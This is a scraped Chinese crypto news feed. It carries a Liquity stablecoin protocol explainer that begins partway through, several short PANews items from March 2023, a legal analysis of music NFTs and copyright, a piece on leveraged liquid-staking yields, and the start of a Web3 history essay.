相反，现有系统依赖于效率较低的软挂钩机制，该机制通过间接的手段来稳定价格。这表明锚定加密资产的稳定币通常会比法币支持的稳定币更具有价格波动性。 幸运的是，笔者在这里向读者们介绍一个更好的借贷协议 Liquity。 结合对现存机制的深刻理解，Liquity 提出以下主要优势来改善上述问题：一次性结清利息、低至 110% 的抵押比率和 LUSD 的稳定币机制。 Liquity 是一种去中心化协议，允许 ETH 持有者在不支付利息的情况下获得最大的流动性。 在智能合约中锁定 ETH 作为抵押品并创建一个称为“Trove”的个人头寸后，用户可以通过铸造与美元挂钩的稳定币 LUSD 获得即时流动性。 每个 Trove 必须以至少 110% 的比例进行抵押。LUSD 的任何所有者都可以随时将LUSD兑换为ETH。协议通过赎回机制以及经过算法调整的费用来保证稳定币的维持在 1 美元。 与其他超额抵押稳定币比，Liquity 有几个显著的特点： 1.Liquity 只支持 $ETH 作为抵押物，且目前仅支持以太坊网络。 2.虽然 Liquity 的借款利率是浮动的，但其借款费用（利息）会在用户借款时一次性结清。 3.Liquity 完全由算法和合约支持，独立运行。协议部署后无法修改，开发团队也没有相关权限。 Liquity 在不向借款人收取利息的情况下提供流动性，但该协议收取借款费用作为一次性费用。 这对于那些经常担心利息费用飙升的 DeFi 用户来说是一个很大的解脱。借款期间利率的变化不影响借款利息、借款周期的长短也不影响借款利息。 更有利于长期借款用户对借款成本的把控。并且自此，DeFi用户可以免费地使用稳定币 LUSD 来投资DeFi 市场中其他更高收益的理财产品。 Liquity 有一个很大的特点是，其协议几乎完全由智能合约管理的，开发团队没有相关合约的管理权限。 Liquity 也没有自己的交互界面，完全由第三方平台自发支持。这样的目的是增强协议的去中心化程度，减少人为干预。 不过虽然Liquity 的本意是让第三方平台互相竞争进而为用户提供更好的服务。但就目前而言，各个平台功能和产品设计都有差异，整体用户体验不是很好。 同时，一个由合约控制的平台，代码的安全性就显得尤为重要了。Liquity 的合约代码在 2021 年接受过 2 家机构（Trail of Bits 和 Coinspect）的多次审计。 审计覆盖的内容较为全面，报告显示部分风险未被修复。截至目前，Liquity 的合约还没有引发过安全事件。 当单个头寸的抵押比率低于某个阈值时，借贷系统必须采取某些清算机制以确保稳定的代币供应始终获得支持。 Liquity 发明了一种前所未有的两步清算机制，该机制基于稳定池机制和再分配机制，这种机制可以立即清算抵押不足的头寸，称之为稳定池机制。 稳定池是维持系统偿付能力的第一道防线。通过提供流动性，稳定池用来偿还被清算的Trove的债务，从而确保LUSD的总供应始终获得支持。 当一个Trove被清算时，对应于Trove剩余债务的 LUSD 从稳定池的余额中被烧毁以偿还Trove的债务。作为交换，来自Trove的全部抵押品都被转移到稳定池中。 稳定池中的资金通过用户将 LUSD 存入其中（称为稳定提供者）获得。随着时间的推移，稳定提供者会按比例失去其 LUSD 存款的份额，同时按比例获得清算抵押品的份额。 由于 Trove 可能会以略低于 110% 的抵押品比率被清算，稳定提供者将预计获得相对于他们偿还的债务更高的美元价值的抵押品。 例如，如果一个拥有价值 109 美元的 ETH 和 100 LUSD 债务的 Trove 被清算，100 LUSD 将被销毁，稳定池提供者将收到价值 109 美元的 ETH。因此这种期望回报也激励了用户向稳定池提供流动性。 我们以下图为具体例子进行分析，在这里你可以看到红色的债务和蓝色的抵押品，我们假设这个Trove低于 110% 。 接下来，系统可以从稳定池中销毁与这个Trove债务等量的 LUSD。作为被销毁的回报，被清算的 Trove 中所有的抵押品Ether将被发送到稳定池并按比例分配给所有存款人。 此外，由于清算在Trove抵押率小于110%时发生，每当Trove被清算时，稳定池提供者很可能会获得净收益。 例如，如果一个拥有价值 109 美元的 ETH 和 100 LUSD 债务的 Trove 被清算，100 LUSD 将被销毁，稳定池提供者将收到价值 109 美元的 ETH。） 7、如果在清算发生时稳定池是空的，会发生什么？ 如果稳定池为空，系统将使用重新分配机制。在这种情况下，系统会将已清算的金库中的债务和抵押品重新分配到所有其他现有金库。 债务和抵押品的再分配与接收者金库中的抵押品价值成比例。这意味着高抵押率的 Troves 将从清算头寸中获得比低抵押率更多的债务和抵押品，确保系统不会造成连锁清算。 例如，这张表显示了 Trove D 由于抵押率不足需要被清算，并按其抵押率的份额按比例重新分配给 A、B 和 C，其中 A 获得新债务 8000*1.5/(16.8-4.3) = 960，并且获得了新的抵押品4.3*1.5/(16.8-4.3) = 0.52 8、什么是赎回机制？ LUSD 还有一种稳定机制，叫做赎回。赎回是指任何 LUSD 的持有者（无论是否通过抵押借款获得）都可以随时以 $1 LUSD 兑换 $1 的 ETH。 该赎回将从风险最高的仓位开始。当赎回启动时，该过程分几个步骤进行。所有 Troves 从最低抵押品比率到最高抵押品比率排序，即从风险最高到最低风险进行排序。 赎回的 LUSD 用于偿还风险最高的 Trove(s) 的债务，以换取他们的抵押品。Trove 所有者的剩余抵押品则留给他们。 如果需要赎回更多的ETH，系统会寻找下一个风险最高的Trove。由此可见，赎回机制对系统的总抵押有积极影响，它增加了整个系统的稳健性。 并且在每次用户赎回时协议的基础利率会上升，也就是说借款费用和赎回的手续费都会上升。 一方面可以避免大规模赎回，另一方面可以降低借款，进一步促进 $LUSD 流通减少，帮助币价稳定。然而，相较于其他稳定币，$LUSD 的价格波动幅度较大。 9、LUSD是怎么锚定美元的？ 稳定币LUSD的上下区间是由两个机制保证的：1. LUSD 刚性兑付兑 ETH 的能力，即 1 LUSD 兑换 价值1 美元的 ETH。 2. 110% 的最低抵押率保证。他们都由用户主导的套利机制来实现，我们称此为“硬挂钩机制”。 赎回创造了一个自然的价格下限。每当 1 LUSD 交易价格低于 1 USD时，持有者和投机者就会被激励用 1 LUSD 兑换价值 1 USD的 ETH 并立即卖出 ETH。 由于赎回的 LUSD 被销毁，因此每次赎回，稳定币的供应量都会减少并提高价格。 由于只要有套利机会，套利机器人就可以自动触发赎回机制，因此如果 LUSD:USD 汇率跌破1 USD，它将迅速恢复，从而形成了价格的下限。 110% 的最低抵押率创造了 1.10 美元的自然价格上限。当 LUSD:USD 汇率超过该水平时，套利者可以通过以其抵押品借入最大金额并在市场上以超过 1.10 美元的价格出售 LUSD 来立即获利。 例如，如果 1 LUSD 的交易价格为 1.11 美元，套利者可以锁定价值 110 美元的 Ether，取出 100 LUSD 的贷款并以 111 美元的价格出售。无论套利者的贷款是否被清算，都获得了套利收益 1 美元。 10、总结 Liquity 本身去中心化程度很高，协议完全由合约支撑运营，且社区和开发团队对于协议本身的干预程度很低。 但其在用户体验上也有一些不足，由于 Liquity 没有自己的前端，第三方开发的前端形态各异、功能不一，可能会造成一些使用上的不便。 机制上，Liquity 只支持 $ETH 抵押物，并且只收取一次性的借贷费用。与 Maker 的多抵押物，多种利率模式相比更有千秋。 而且 LUSD 在价格的稳定性上不如其他稳定币，波动更高。虽说由合约管理运行，Liquity 的合约还没出现过安全问题，持续稳定经营。但是目前，其生态较弱，通证的使用场景还不够丰富。 未来，随着行业对去中心化的重视程度提高，该协议的被认可度可能会逐渐提升，对于生态发展也会有积极作用。  ( 6 min )
    FTX将其红杉股权以4500万美元的价格出售给阿布扎比的投资部门
    PANews 3月9日消息，根据周三提交的法庭文件， FTX 的投资部门 Alameda Research 已达成 4500 万美元的现金交易，将其在红杉资本的权益出售给阿布扎比主权财富基金。该交易有待特拉华州破产法官 John Dorsey 的批准，FTX 试图出售其在早期加密货币和科技企业的投资以偿还债权人的一部分。该协议最早可能在 3 月 31 日结束，但 FTX 的交易将受到严密的司法审查。该文件称，潜在买家 Al Nawwar Investments RSC Limited 最终由阿布扎比政府所有，并且已经投资红杉资本。  ( 4 min )
    灰度CEO：预计公司对SEC的诉讼会在第三季度作出裁决
    PANews 3月9日消息，据彭博社报道，灰度（Grayscale）首席执行官Michael Sonnenshein表示，他预计其公司对美国证券交易委员会（SEC）拒绝比特币现货ETF的诉讼可能会在今年第三季度作出裁决。 Sonnenshein还表示，正在动用所有资源与美国SEC进行法律斗争。如果美国监管部门仍不愿承认比特币ETF的合法证券地位，公司在必要时将不惜把官司打到最高法院。此外他承诺如果ETF业务得到了监管部门批准，将下调费率向客户让利。 此前昨日消息，灰度诉美SEC案开庭首日，法官质疑SEC拒绝灰度的现货比特币ETF申请。  ( 4 min )
    Mt.Gox债权人登记截止日期已推迟至4月6日
    PANews 3月9日消息，据Mt.Gox官网公告，Mt.Gox债权人登记截止日期从3月10日推迟至4月6日（日本时间），基本还款期限、早期一次性还款期限以及中期还款期限从2023年9月30日推迟到10月31日。除非有不可避免的原因，很难进一步延长最后期限。 此前消息，Mt. Gox所剩余额约为14.2万枚比特币、14.3万枚比特币现金(BCH)和690亿日元。 相关阅读：涉及超13.7万枚比特币，Mt.Gox清偿窗口即将打开，债权人会如何获得赔偿？  ( 4 min )
    Web3音乐与 NFT，音乐NFT与版权
    音乐是人类文明必不可少的“精神食粮”，无论是在 to the moon 星辰大海的征途中，亦或是在 metaverse 色彩斑斓的数字虚拟世界，我们都离不开音乐，也会被那些旋律所打动。在 Web3 的浪潮中，音乐必定会占据一席之地。 本文将从音乐产业开始，从法律角度分析 Web3 音乐赛道中音乐 NFT 背后的原理。由于著作权和版权两个概念表述大致统一，根据《著作权法》第 62 条规定：“本法所称的著作权即版权。”本文统一采用“著作权”的表述。同时，基于水平受限，以下分析仅基于中国《著作权》的法律体系。 一、音乐产业 在漫长的音乐发展史中，音乐本身没有太大变化，但是随着科技的发展，音乐的传播媒介发生了翻天覆地的变化，与之相对应的经济模型亦是如此。我们看到音乐的传播途径从音乐现场，到留声机、广播、电视，再到目前的流媒体平台；传播媒介从黑胶唱片、磁带、CD 光盘的物理媒介，到 MP3、数字专辑等数字媒介；经济模型也从传统的销售模式，转变到了互联网时代的流量模式。可以看出每一次音乐传播媒介的发展，都会带来巨大的产业的变迁。 根据国际唱片协会（IFPI）发布的《2022 年全球音乐报告》显示，2021 年全球录制音乐产业总收入为 259 亿美元，比 2020 年的总收入增长了 18.5%，数字流媒体板块收入增长了 24.3%。 （from 国际唱片协会（IFPI）《2022 年全球音乐报告》） 通过上图数据可以看出，在互联网尚未普及的年代，唱片公司是行业中话语权最强的一方，能够掌握上游的内容生产（音乐人的发掘、包装，音乐的制作），中游的音乐分发，以及下游的消费结算（唱片的售卖和演唱会的运营等）等所有环节。直到互联网普及，唱片公司在中游的宣发推广上面，已经不再具有优势，并且随着数字技术的成熟，在下游消费结算上，用户也逐渐放弃了购买物理媒介习惯，转向如 Spotify 这类流媒体平台的订阅付费模式。由此，流媒体平台成了音乐人与用户之间的新中介，不但负责内容的宣传、分发，还直接通过流媒体平台与用户进行消费结算，同时凭借自身优势向上游大力发展内容生产，着力培育新音乐人和原创音乐。 综上可以看出，目前流媒体平台凭借互联网流量的巨大优势，占据着音乐产业的中下游，并在不断蚕食唱片公司上游内容生产的地位，但是唱片公司凭借几十年积累的版权资源及内容制作优势，依然能够顽强抵抗，并且在不断探索新的机会。 二、什么是 Web3 音乐 大胆定义什么是 Web3 音乐。首先音乐依然是音乐，加上 Web3，则是将音乐与区块链、智能合约等新兴技术及 Tokenomics 相结合，创造全新的音乐生态系统。ChatGPT 给我们总结了 Web3 音乐的主要特点： （1）去中心化：Web3 音乐通过区块链等技术实现了去中心化，消除了传统音乐行业中中心化的管理和控制，使音乐人和消费者可以更加平等地参与音乐生态系统的构建和运营。 （2）透明和公平：Web3 音乐使用智能合约等技术，实现了音乐版权和收益分配的透明和公平。这样能够更好地保护音乐人的权益，消除传统音乐行业中版权纠纷等问题，也能够为消费者提供更加公平和透明的音乐服务。 （3）创新的商业模式：Web3 音乐采用虚拟资产 NFT 等技术，创造了全新的音乐经济模式。这样能够为音乐人提供更多的商业机会，如数字化音乐收藏、音乐票务、音乐授权等。 （4）高效的音乐发行和管理：Web3 音乐采用智能合约和区块链技术，可以实现音乐版权管理、消费者数据分析等高效的音乐发行和管理。这样能够提高音乐行业的效率和效益，减少中间环节，提升音乐产业的发展速度和潜力。 总之，Web3 音乐是一种全新的、去中心化的音乐模式，通过区块链等技术，实现了透明、公平、高效和创新的音乐生态系统，有望成为未来音乐产业的发展方向之一。 （from AC Capital Research 丨音乐 NFT 带来的新可能） 的确，Web3 音乐是对传统音乐产业的一次重构，（1）不仅能够解决现有音乐产业的问题，如运用区块链的技术，通过智能合约将不透明、分配不均的版权问题解决，实现“去中介化”，实现价值的重新分配；（2）还能通过 Web3 的手段（如 Tokenomics，NFT，DeFi，Gamefi 等）创造出新的消费场景，为音乐人创造新的收入渠道；（3）同时通过 NFT 或 DAO 的形式，能够将音乐人与用户重新连接，并将用户也纳入价值分配的体系中，重构全新商业模式。 （from Wonders and Doubts About Music in Web3） 目前虽然 Web3 音乐赛道上获得融资的项目也不少，但是雷声大雨点小，可能还处于熊市持续 build 的阶段，并没有看到一些颠覆性的项目出现。目前的 Web3 音乐赛道主要分为以下几类：（1）上游的音乐创作工具（如 AIGC 等生成式的创新手段帮助音乐人创作）；（2）中游的宣发营销推广（即包括音乐 NFT 形式的营销，具有代表性的项目如 Oneof，Sound.xyz，Catalog）；（3）下游的 Web3 流媒体播放（即直面 C 端的流量入口，具有代表性项目如 Audius）；（4）版税投资（即通过版税众筹的形式让粉丝用户也能成为音乐的投资者，具有代表性项目如 Royal, Opulous）；（5）粉丝音乐社区 DAO（即利用音乐的凝聚力聚合一群志同道合的小伙伴，去切实探索 Web3 音乐的一切可能，具有代表性项目如 Water & Music, Good Karma Records）。 目前整个 Web3 音乐赛道还处于早期探索阶段，虽然很多项目都拿到了种子轮融资，但是拿到上千万天使融资的项目寥寥无几，而且也没有看到一种可持续的商业模式。Web3 音乐目前还是很难脱离开 Web2 的音乐场景去单飞，还是需要很长一段路要走。目前来看，音乐 NFT 这条赛道似乎更加清晰，想象空间较大。 三、什么是 NFT 3.1 NFT 的概念 NFT 是“非同质化代币”（Non-Fungible Token）的简称，是现实资产或数字资产（以下简称“底层资产”）通过区块链技术生成的加密数字凭证，用以记录底层资产生成的链上数字资产的所有权，具有独一无二、不可替代、不可分割、可编程性、可追溯性、永久保存等的特性。相比之下，比特币、以太坊等这类虚拟货币属于“同质化代币”（Fungible Token），互相之间不存在质的差别。 NFT 是底层资产的链上数字映射，就像一个区块链上的数字容器，它具有什么属性取决于你往这个数字容器里面装了什么。“Mint 上链”或“筹造”指通过区块链生成 NFT 的过程。如果艺术家 thezoekid1 将其 Summer Dream 这幅数字作品 Mint 上链，那它就是艺术品 NFT；如果 Yuga Labs 将其 10 k 个不同的 CryptoPunks 数字作品头像 Mint 上链，那么它就是 CryptoPunks NFT 头像；如果 Rihanna 将其 Bitch Better Have My Money 这首歌曲 Mint 上链，那它就是音乐 NFT。 3.2 NFT 的法律概念 按照作品著作权的权利表述，并结合2020年《著作权法》将“数字化”纳入复制权的定义中，明确其为复制作品的手段之一。那么NFT 就是行使了作品的复制权之后形成的作品复制品 NFT，区别是 NFT 具有独一无二、不可替代、永久保存等特性。 行使作品复制权后形成的NFT，则是一项虚拟资产，法律效果表现为 NFT 虚拟资产的所有权。在立法层面，《民法典》为了顺应互联网时代的趋势，在其第一百二十七条，将“数据、网络虚拟财产”纳入了法律的保护范围。《民法典》第一百二十七条：法律对数据、网络虚拟财产的保护有规定的，依照其规定。”虽然我们还需要进一步等待单行法律规定的出台，但是《民法典》已然给定了大方向。 然而，拥有 NFT 虚拟资产的所有权，并不代表拥有底层作品（通常是现实作品或数字作品，一般为受我国《著作权法》保护的客体）的著作权，要严格区分 NFT 的所有权与著作权。 著作权赋予权利人专有的权利，或者叫做排他的权利，如复制权、发行权、信息网络传播权等，意味着权利人能够凭借法律的力量排斥他人以特定的方式利用作品或其他受著作权法保护的客体（邻接权客体）。所有权对应的客体是物，是一个硬币的正反面，并且基于此有权使用、收益、处分。而著作权法对应的客体是以物为载体的智力成果，并非一个硬币的正反面，权利人对自己作品的利用不影响其他人同时对同一作品的利用。 3.3 持有的 NFT 到底持有了什么？ 至于持有的 NFT 到底拿到了什么著作权，取决于著作权人是否给予了授权，给予了何种授权。著作权人（项目方）通常会在其官网，通过权利声明形式，发布具体的《Terms & Conditions》或《用户协议》予以公示，来告诉 NFT 持有者，除了 NFT 的虚拟资产所有权，他们还拿到了什么样的著作权权益。 （1）如果著作权人艺术家 thezoekid1 仅仅将其 Summer Dream 这幅数字作品 Mint 上链，并不附带任何其他著作权，那它就是艺术品 NFT，仅有收藏属性，NFT 持有人仅仅对该艺术品 NFT 享有虚拟资产的所有权，这类 NFT 可以叫做“数字收藏品”（Digital Collectable）。 （2）如果著作权人 Yuga Labs 将其 10 k 个不同的 CryptoPunks 数字作品头像 Mint 上链，并通过《用户协议》附带部分著作权授权，那么就造就了鼎鼎大名的 CryptoPunks NFT 项目，NFT 持有者可以根据著作权人的授权，进行一系列商业 / 非商业活动，这类 NFT 可以叫做“版权类”NFT。 （3）如果 Rihana 将其 Bitch Better Have My Money 这首录音制品的权益 Mint 上链，并通过《NFT Ownership Agreement》约定了著作权人与 NFT 持有者关于 NFT 附带的流媒体收益权，这种 NFT 可以叫做“权益类”NFT。 如 Yuga Labs 在其官网的《CryptoPunks Terms》约定了著作权人 Yuga Labs 与 NFT 持有者的具体的权利义务。简而言之就是：NFT 的所有权，归 NFT 持有者所有，即在区块链交易中拥有持有、出售、转让和执行涉及该 CryptoPunk NFT 的权利；NFT 底层作品的知识产权（包括但不限于著作权、商标、专利等），归 Yuga Labs 所有，Yuga Labs 仅仅是将 NFT 底层作品的部分著作权授权许可给 NFT 持有者。 ( from 全面解读CryptoPunks授权许可协议（Yuga Labs版）) 如 Azuki 在其授权协议前言部分明确表示：“NFT 持有者拥有 NFT 的所有权，但 NFT 持有者并未获得艺术作品、品牌及相应的知识产权，除非授权协议明确授权。”此外，就 Azuki 的商业授权条款而言，著作权人（Chiru Labs）明确表示：“给予非排他性、全球性、免版税、可转授权（但仅限于协助您进行商业用途的服务商）的授权，用于为您的 Azuki NFT 出于任何商业用途使用、复制和展示。” （from azuki.com/license） 说了这么多，持有的 NFT 到底拿到了什么著作权，仍取决于著作权人给予了何种授权。NFT 持有者注意不要陷入“持有 NFT = 享有所有权利（包括著作权）”的误区，一定要注意查看著作权人授权协议中授权的权益类型及范围。 四、什么是音乐 NFT 4.1 音乐 NFT 的概念 音乐 NFT 则是底层资产是音乐作品或录音制品，或与音乐作品或录音制品相关权益的 NFT。由于音乐极其复杂的著作权关系，音乐 NFT 并不能简单地理解为一首歌曲的 NFT，音乐 NFT 可以没有音乐，音乐 NFT 也可以只有权益。 在我国著作权法下，一首流媒体上音乐歌曲可以拆分为音乐作品和录音制品两大客体，以及包括词曲作者、表演者（通常为歌手、乐手）和录音制品制作者（通常为唱片公司）三大主体。音乐作品，是指歌曲、交响乐等能够演唱或者演奏的带词或者不带词的作品。录音制品，是指任何对表演的声音和其他声音的录制品。因此，音乐作品对于互联网传播都是非常抽象的概念，除非经过录音制作者的录制，成为一个录音制品之后才能在互联网、流媒体上进行传播。 而只有著作权人才有资格来发行音乐 NFT，这里的权利人一般都是录音制品制作者，这里就指唱片公司。因为唱片公司通过制作形成的录音制品才是流媒体平台上传播的歌曲。所以音乐 NFT 附带了何种权益，取决于著作权人（录音制品制作者，通常为唱片公司）授权了音乐 NFT 何种权益。 4.2 音乐 NFT 包含的权益 以 Rihana 的音乐 NFT 为例，该 NFT 的底层作品是 Bitch Better Have My Money 录音制品，由DEPUTY 作为录音制品制作者（Producer）录制，相应著作权由 DEPUTY 享有。 再来看该音乐 NFT 附带了何种权益。根据 anotherblock 网站上 Bitch Better Have My Money 音乐 NFT 页面上的 legal document： （1）Jamil Pierre 公司（声称）拥有完整 Bitch Better Have My Money 录音制品著作权； （2）Jamil Pierre 公司将歌曲著作权授权给 Spotify、Applemusic 等流媒体平台获取录音制品版税； （3）Jamil Pierre 公司与 anotherblock 公司签订《AB Agreement》，协议约定由 anotherblock 为 Jamil Pierre 公司发行 Bitch Better Have My Money 录音制品的 NFT，并由 anotherblock 为 NFT holder 分发 NFT holder 的流媒体版税； （4）Anotherblock 链上 Mint 300 个 Bitch Better Have My Money 音乐 NFT； （5）Jamil Pierre 公司与 300 个 NFT Holder 签订《NFT Ownership Agreement》，约定 NFT Holder 仅有权取得歌曲的流媒体版税收入，无其他任何歌曲音乐作品的著作权。 从《NFT Ownership Agreement》来看，NFT 持有者手上的权益仅仅是（1）Bitch Better Have My Money NFT 虚拟资产的所有权；（2）Bitch Better Have My Money 录音制品部分流媒体版税的收入。仅此而已，并没有任何音乐作品/制品的其他著作权。 4.3 音乐 NFT 还能包含什么权益 音乐 NFT 是底层资产包含音乐元素的 NFT，有其特殊性，即 NFT 的底层资产包含的不仅仅是单纯的内容（音乐、视频、形象、权益等），它往往还附带了音乐人的形象、口碑、知名度等。由此，音乐 NFT 往往附带许多来自音乐人的其他权益，这些权益一方面帮助音乐人沉淀忠实用户，能为忠实用户带来独一无二的体验，另一方面也能通过 NFT，Web3，元宇宙等新潮的概念吸引新的粉丝，以此形成一个可持续的 NFT 发展路径。 个人认为，就像不同时代伴随着不同的音乐传播媒介，音乐 NFT 则是 Web3 时代的传播媒介，具有划时代的意义。音乐 NFT 不再局限于类似 CD、黑胶，这类点对点的封闭单一“听歌价值”输出，也不限于 MP3、数字专辑这类点对多的“听歌价值”流量输出，而是能通过区块链及智能合约的技术，将参与者（音乐人、用户）都纳入价值分配体系，重塑音乐产业的价值分配，赋予了音乐“听歌价值”之外新价值内涵。 （from AC Capital Research 丨音乐 NFT 带来的新可能） 五、写在最后 其实，人们对于音乐的诉求是一致的，听到好听的音乐，不在乎音乐的传播媒介是什么。虽然人们需要音乐，但是不一定需要 Web3 音乐。 无论如何，Web3 音乐才刚刚开始，音乐 NFT 承载的不止音乐，还能有更多。 —— END —— 本文仅供学习、参考，希望对您有所帮助，不构成任何法律、投资意见，not your lawyer，DYOR。 Reference: [1] 中金 | 元宇宙系列：探寻元宇宙的通行证——NFT https://mp.weixin.qq.com/s/w_fVWzuP5pCgQu0_BP5FMQ [2] Mint Ventures, Web3音乐赛道：市场背景、商业价值、爆发路径和投资机会 https://mp.weixin.qq.com/s/V-DoV1bMAp5xc4jZ-Hsx7Ar [3] Anotherblock, BITCH BETTER HAVE MY MONEY https://anotherblock.io/rihanna-bitch-better-have-my-money [4] AC Capital Research 丨音乐NFT带来的新可能 https://mp.weixin.qq.com/s/mv5VqH6TvJbmu1Y7VkipnA [5] Wonders and Doubts About Music in Web3 https://medium.com/@flavioedoardorestelli/wonders-and-doubts-about-music-in-web3-29280a320f1a  ( 12 min )
    韩国科技信息通信部将向元宇宙项目投入5100万美元
    PANews 3月9日消息，韩国科技信息通信部在近两日内发布了两份政策文件，将向元宇宙项目投入共计677亿韩元（约合5100万美元）。 该政府部门周三宣布，将向利用元宇宙的本地服务投资277亿韩元(约合2100万美元)。这笔2100万美元的投资将支持医疗、教育和旅游等领域的13个新项目，这些项目将利用元宇宙创新服务，改善对公众的服务。此外，该政府部门周二宣布了推出400亿韩元(约合3000万美元)的元宇宙基金，将鼓励元宇宙领域的小型企业积极寻求并购，以扩大业务到全球市场。  ( 4 min )
    数据：以比特币计价的交易量在过去24小时内下降35%，或受Silvergate影响
    PANews 3月9日消息，据CoinDesk报道，CryptoQuant数据显示，由于Silvergate的清算对市场的影响，以比特币计价的交易量在过去24小时内下降35%。与此同时，比特币区块链上的交易总数在同一时期下降17%，活跃地址数量下降10%。 另据CoinGecko的数据显示，3月份比特币日平均交易量约为250亿美元，而2月份的比特币日平均交易量约为360亿美元。 巴黎做市商和经纪公司Flowdesk的首席执行官Guilhem Chaumont表示：“当有关Silvergate财务困难的消息传出时，再加上比特币价格下跌，我们看到整个生态系统的交易量也明显下降。”  ( 4 min )
    拆解LSD杠杆挖矿：超额收益的来源与风险
    最近在推上和Space上和很多朋友讨论了LSD杠杆挖矿的问题，主要的问题在于： （1）杠杆Staking高收益的本质是什么？风险点在哪里？ （2）杠杆Staking的高收益是否可持续？ 关于杠杆Staking的合成方式可以参考CapitalismLab的文章。文章提到的循环贷在defi summer早期借贷负利率和Bendao借贷负利率的时候也普遍存在，本质上通过不同标的的存借利差进行套利。与传统金融中的国债逆回购非常相似（也是我更喜欢把LSD称作“ETH国债化”的原因之一） 相关文章：《为什么说借贷协议才是LSD的最大隐藏赢家？》 一种更简单的实现方式是： 1）Alice现在有10个ETH，AAVE以3%的利率借给Alice90个ETH。 2）Alice拿着100个ETH质押到了Lido，获得了100个stETH 3）Alice 的100个stETH成为AAVE的抵押物，AAVE上stETH的LTV为93% 4）加入当前stETH-ETH的汇率为0.98，那么可借贷价值=91.14ETH，借贷是安全的 5）Alice每年可以获得100*4.9%=4.9ETH的staking收益，同时需要支付90*3%=2.7ETH的利息，净收入2.1，折合年化11%。 这种方式只是把繁琐的循环贷过程封装好，实际上第三方的收益聚合工具和AAVE都在这样做。同时这种借贷方式的杠杆率也不是没有上限的，我们可以得出最大杠杆率的公式。按照当前数据，最高杠杆率为13.6倍。 同时我们可以得出杠杆挖矿的收益公式： 有了这两个公式以后ETH 杠杆挖矿会变得非常易于理解。杠杆Staking的收益来源是Staking和ETH借贷的利差，而之所以存在利差，是因为两种类型的标的具备不同的风险特征和流动性特征： 可以看出，Staking和借贷的利差本质上就是流动性溢价和风险暴露溢价，选择Staking需要牺牲资产的流动性并且承担更大的损失。而之所以现在通过杠杆实现高达10%-20%的收益，主要是因为ETH上海升级的不确定性，不确定的时间越长，stETH的波动风险就越高。如下表所示，如果stETH的汇率保持在0.9以上，6倍以下的杠杆都是安全的，最高可以获得13.2%的利率。 理解了收入的来源，收益的可持续性也变得很好理解了。当前之所以能够存在这么高的利率，主要是因为上海升级的不确定性。Staking具备明确的解质押预期时间，定价会更透明，风险管理更加可控，一个必然的结果是ETH的S质押量继续上升，降低Staking收益，同时ETH的借贷需求上升，推高存款/借款利率。 所以ETH开放Staking赎回以后，一个高确定性的结果是利差缩小，最终形成平衡，杠杆Staking的收益回到一个合理区间。另一个高确定性的结果是借贷成为Staking的加杠杆方式之一，LSD的借贷市场变得更加繁荣，就像CapitalismLab文章中指出的一样，借贷成为LSD的隐藏赢家。 除了ETH以外，另外两个引起我们注意的市场是Cosmos和Cardano，它们都拥有超过40%的质押率和数十亿美元的质押资产。Cardano上构建类似产品时非常困难的，一是技术层面的开发难度，而是Cardano只有进入等待期没有解锁等待期，潜在的利差空间非常小。 而Cosmos不一样。Cosmos提供了20%+的质押利率，远远高于ETH。同时，Cosmos生态普遍拥有14-21天的解锁期，虽然不像ETH那么长，但也提供了一定的空间。Osmosis的质押产品也让我们看到了用户的流动性敏感程度。提供一个8%的活期借贷收益并以12%的利率把ATOM借给杠杆挖矿者，在产品上似乎是可行的。 当然，实际落地还涉及很多复杂的问题。不过一个比较确定的事情是：POS公链都需要LSD来提高资产效率和质押率（或者叫做公链代币国债化），国债化又势必带来利差，利差又会为借贷提供新的市场空间，这对借贷协议来说非常重要，因为这是为数不多存在刚性需求并且能够带来真正协议收入的业务。  ( 4 min )
    以太坊Goerli测试网预计将于3月15日上午激活Shapella升级
    PANews 3月9日消息，以太坊基金会在博客文章中宣布，Shapella网络升级将于epoch 162304在Goerli网络上激活，计划时间为北京时间3月15日06:25:36，预计这将是为以太坊主网安排Shapella升级之前的最后一次测试网升级。Shapella社区电话会议定于 北京时间3月13日23:00。 此前2月28日消息，以太坊Sepolia测试网已成功模拟“上海升级”。根据3月2日的报道，在此次Goerli测试网升级后，主网升级将在此后的3至4周进行。  ( 4 min )
    Web3“圈地运动”正发生：涉及全球80亿人的“数字革命”
    原文标题：《Web3“圈地运动”，谁都无法视而不见》 撰文：康水跃，Fox Tech与Way Network创始人，丹阳投资董事长 前言：春蚕不念秋丝、夏蝉不见冬雪。不管你有没有看到，Web3就在你眼前。 300万年前，旧石器时代开始，猿人制作出了最早的石头器具，进而用这些石器猎杀动物并切肉烧食；2万年前，中石器时代开始，人类除了为捕获猎物而制作的更为丰富多样的石器之外，开始出现了用户满足精神需求的石制雕刻品、装饰品；1.4万年前，以磨制石器为代表的新石器时代开始，人类学会了播种植物果实并圈养野生动物，于是产生了农业、畜牧业，史称“第一次农业革命”。1万年前，人类学会制作青铜锄头等青铜器，于是开始定居并进行锄耕，史称“第二次农业革命”；5000年前，人类学会制作铁犁并将所圈养的黄牛用作动力来进行犁耕，同时利用水利灌溉技术提高产量，史称“第三次农业革命”。在漫长的岁月里所发生的这三次“农业革命”，现在看来平常无奇。 时间线来到9个世纪之前，也就是12世纪。彼时彼刻，欧洲开始出现“圈地运动”，这看似野蛮实则解放生产力的“养吃人”运动一直持续持续到19世纪。随着人类开始进入航海业务并探索陆地新空间，人类史上MarketCap最高的公司东印度公司诞生。航海业、纺织业、养羊业三个产业一条线，成为当时“圈地运动”的背景：贵族们把原来租种他们土地的农民赶走、房屋拆掉，空出来的土地做了更为赚钱的养羊业务。随着土地的集中，更大更集约的农场、牧场得以成型；大量颠沛流离的农民进入城市，这也为1830年～1840年发生的第一次工业革命提供了充沛廉价劳动力。 图1: 人类时代的更迭 实际上，在第一次工业革命爆发前夕，第一次金融革命就在欧洲爆发。虽然人们现在已经基本不怎么谈所谓的“金融革命”了，但它给后世带来的影响却可能大过工业革命本身。人类史上第一家证券交易所阿姆斯特丹证券交易所于1602年创立，第一家中央银行英格兰银行于1694年创立，伦敦证券交易所1773年成立，1792年纽约交易所成立。自此股票、债券、外汇、大宗商品等金融产品一马平川。第一次金融革命为后面500年里发生的3次工业革命提供了资本燃料，让技术研发及大规模工业生产有了本钱。金融孕育了技术并推动技术进一步改造经济社会。现在人类社会再一次走到了技术与金融交融的FinTech高光时刻。 